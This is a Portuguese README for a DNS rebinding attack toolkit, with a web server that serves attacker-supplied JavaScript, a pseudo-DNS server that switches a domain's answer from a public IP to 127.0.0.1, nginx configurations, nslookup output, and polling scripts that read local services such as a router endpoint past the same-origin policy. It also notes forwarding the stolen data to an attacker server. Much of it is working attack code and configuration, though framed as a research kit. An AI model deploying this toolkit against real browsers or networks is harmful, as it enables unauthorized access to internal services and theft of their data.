
ferramenta de dns rebind com scripts personalizados
Inspirado por @tavisio
Este projeto pretende ser um Kit de Ferramentas Tudo-em-um para testar mais ataques de DNS rebinding e a minha abordagem para entender esse tipo de ataque. Consiste num servidor web e num pseudo servidor DNS que só responde a consultas do tipo A.
O índice raiz do servidor web permite configurar e executar o ataque com uma interface web rudimentar. Veja dnsrebindtool.43z.one.
Uma configuração básica do nginx para hospedar o servidor web
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
A rota /attack do servidor web lê o parâmetro GET script que deve fornecer javascript codificado em base64 e responde com o código descodificado (envolto num setTimeout) embutido numa página HTML normal.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
No meu registrador para o domínio 43z.one configurei um registo NS para o subdomínio rebind a apontar para o IP onde esta ferramenta está hospedada.
ns A 81.4.124.10
rebind NS ns.43z.one
O servidor DNS responde apenas a consultas do tipo A neste formato
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
A primeira parte (subdomínio) é apenas um id aleatório e deve ser gerado para cada sessão de ataque (a interface web faz isto a cada recarregamento). A seguir vem o IP que o servidor DNS deve responder durante os próximos 2 segundos e o terceiro é o IP que o servidor deve responder após esse tempo ter passado.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
A última peça que falta é uma configuração do nginx para os domínios de rebind. Apenas a rota /attack deve ser passada para a ferramenta, as outras devem responder com um erro. Isto permite atacar outros serviços na porta 80 com todas as rotas exceto /attack. (como /api/monitoring/stats, um endpoint que o meu router expõe)
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
Eliminação de Cache DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
Isto é um problema para este tipo de ataque. Para funcionar, o navegador tem de fazer uma nova consulta DNS para obter o segundo IP. Em teoria, se esperar tempo suficiente entre os pedidos, uma nova consulta deverá ocorrer. No entanto, os meus testes mostram que existe uma abordagem mais rápida, mas mais agressiva. É muito provável que isto seja específico da configuração. Precisa de mais testes. Usei o seguinte script para medir o valor ideal para a variável WAIT. Testado no Chromium 62.0.3202.89 a correr no Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
Iniciei um novo repositório apenas para explorar isto: dns cache eviction tester
Juntando tudo e testando.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Esta instância do netcat serve algum conteúdo ao qual gostaria de ter acesso.
Mantenho o domínio de rebind padrão
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
e o script padrão
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
em dnsrebindtool.43z.one e clico no botão Attack.
Abro o separador de rede das ferramentas de desenvolvimento para ver o que está a acontecer em segundo plano. Para mim, após cerca de 60 segundos, preenche-se com a string TOPSECRET e o tempo que demorou. O DNS rebinding contornou a SOP.
Para extrair os dados violados do iframe, pode-se usar Window.PostMessage() ou incluir código que encaminhe os dados para outro servidor atacante dentro do próprio script.
| Valor de WAIT em ms | Pedidos que o Chrome envia | Tempo até consultar DNS novamente |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |